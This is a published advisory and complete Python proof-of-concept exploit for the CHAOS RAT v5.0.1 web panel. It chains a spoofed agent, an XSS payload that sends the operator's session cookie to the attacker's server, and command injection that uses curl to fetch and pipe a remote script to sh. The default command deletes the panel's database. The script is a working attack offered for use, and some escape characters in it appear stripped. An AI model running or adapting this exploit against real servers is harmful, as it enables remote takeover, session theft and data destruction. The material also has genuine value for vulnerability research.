Authored by chebuya

CHAOS RAT web panel version 5.0.1 is vulnerable to command injection, which can be triggered from a cross site scripting attack, allowing an attacker to takeover the RAT server.

advisories | CVE-2024-30850, CVE-2024-31839

# Exploit Title: CHAOS RAT v5.0.1 RCE
# Date: 2024-04-05
# Exploit Author: @_chebuya
# Software Link: https://github.com/tiagorlampert/CHAOS
# Version: v5.0.1
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-30850, CVE-2024-31839
# Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server
# Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc
# Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
import time
import requests
import threading
import json
import websocket
import http.client
import argparse
import sys
import re

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

class Collector(BaseHTTPRequestHandler):
def __init__(self, ip, port, target, command, video_name, *args, **kwargs):
self.ip = ip
self.port = port
self.target = target
self.shell_command = command
self.video_name = video_name
super().__init__(*args, **kwargs)

def do_GET(self):
if self.path == "/loader.sh":
self.send_response(200)
self.end_headers()
command = str.encode(self.shell_command)
self.wfile.write(command)
elif self.path == "/video.mp4":
with open(self.video_name, 'rb') as f:
self.send_response(200)
self.send_header('Content-type', 'video/mp4')
self.end_headers()
self.wfile.write(f.read())
else:
cookie = self.path.split("=")[1]
self.send_response(200)
self.end_headers()
self.wfile.write(b"")

background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))
background_thread.start()

def convert_to_int_array(string):
int_array = []
for char in string:
int_array.append(ord(char))
return int_array

def extract_client_info(path):
with open(path, 'rb') as f:
data = str(f.read())

address_regexp = r"main.ServerAddress=(?:[0-9]{1,3}.){3}[0-9]{1,3}"
address_pattern = re.compile(address_regexp)
address = address_pattern.findall(data)[0].split("=")[1]

port_regexp = r"main.Port=d{1,6}"
port_pattern = re.compile(port_regexp)
port = port_pattern.findall(data)[0].split("=")[1]

jwt_regexp = r"main.Token=[a-zA-Z0-9_.-+/=]*.[a-zA-Z0-9_.-+/=]*.[a-zA-Z0-9_.-+/=]*"
jwt_pattern = re.compile(jwt_regexp)
jwt = jwt_pattern.findall(data)[0].split("=")[1]

return f"{address}:{port}", jwt

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):

print("Spoofing agent connection")
headers = {
"Cookie": f"jwt={cookie}"
}

while True:
data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
r = requests.get(f"http://{target}/health", headers=headers)
r = requests.post(f"http://{target}/device", headers=headers, json=data)
time.sleep(30)

def handle_command(target, cookie, mac, ip, port):
print("Waiting to serve malicious command outupt")
headers = {
"Cookie": f"jwt={cookie}",
"X-Client": mac
}

ws = websocket.WebSocket()
ws.connect(f'ws://{target}/client', header=headers)
while True:
response = ws.recv()

command = json.loads(response)['command']
data = {"client_id": mac, "response": convert_to_int_array(f"</pre><script>var i = new Image;i.src='https://{ip}:{port}/'+document.cookie;</script><video loop controls autoplay><source src="https://{ip}:{port}/video.mp4" type="video/mp4"></video>"), "has_error": False}

ws.send_binary(json.dumps(data))


def run_exploit(cookie, target, ip, port):
print(f"Exploiting {target} with JWT {cookie}")
conn = http.client.HTTPConnection(target)
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
'Cookie': f'jwt={cookie}'
}
conn.request(
'POST',
'/generate',
f'-----------------------------196428912119225031262745068932rnContent-Disposition: form-data; name="address"rnrnhttp://localhost'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)'rn-----------------------------196428912119225031262745068932rnContent-Disposition: form-data; name="port"rnrn8080rn-----------------------------196428912119225031262745068932rnContent-Disposition: form-data; name="os_target"rnrn1rn-----------------------------196428912119225031262745068932rnContent-Disposition: form-data; name="filename"rnrnrn-----------------------------196428912119225031262745068932rnContent-Disposition: form-data; name="run_hidden"rnrnfalsern-----------------------------196428912119225031262745068932--rn',
headers
)

def run(ip, port, target, command, video_name):
server_address = (ip, int(port))

collector = partial(Collector, ip, port, target, command, video_name)
httpd = HTTPServer(server_address, collector)
print(f'Server running on port {ip}:{port}')
httpd.serve_forever()

if __name__ == "__main__":
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest="option")

exploit = subparsers.add_parser("exploit")
exploit.add_argument("-f", "--file", help="The path to the CHAOS client")
exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)")
exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} ;")
exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4")
exploit.add_argument("-j", "--jwt", help="The JWT token to use")
exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True)
exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000)
exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01")
exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator")
exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows")
exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56")
exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12")

extract = subparsers.add_parser("extract")
extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True)

args = parser.parse_args()

if args.option == "exploit":
if args.target != None and args.jwt != None:
target = args.target
jwt = args.jwt
elif args.file != None:
target, jwt = extract_client_info(args.file)
else:
exploit.print_help(sys.stderr)
sys.exit(1)

bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))
bg.start()

cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))
cmd.start()

server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))
server.start()

elif args.option == "extract":
target, jwt = extract_client_info(args.file)
print(f"CHAOS server: {target}nJWT: {jwt}")
else:
parser.print_help(sys.stderr)
sys.exit(1)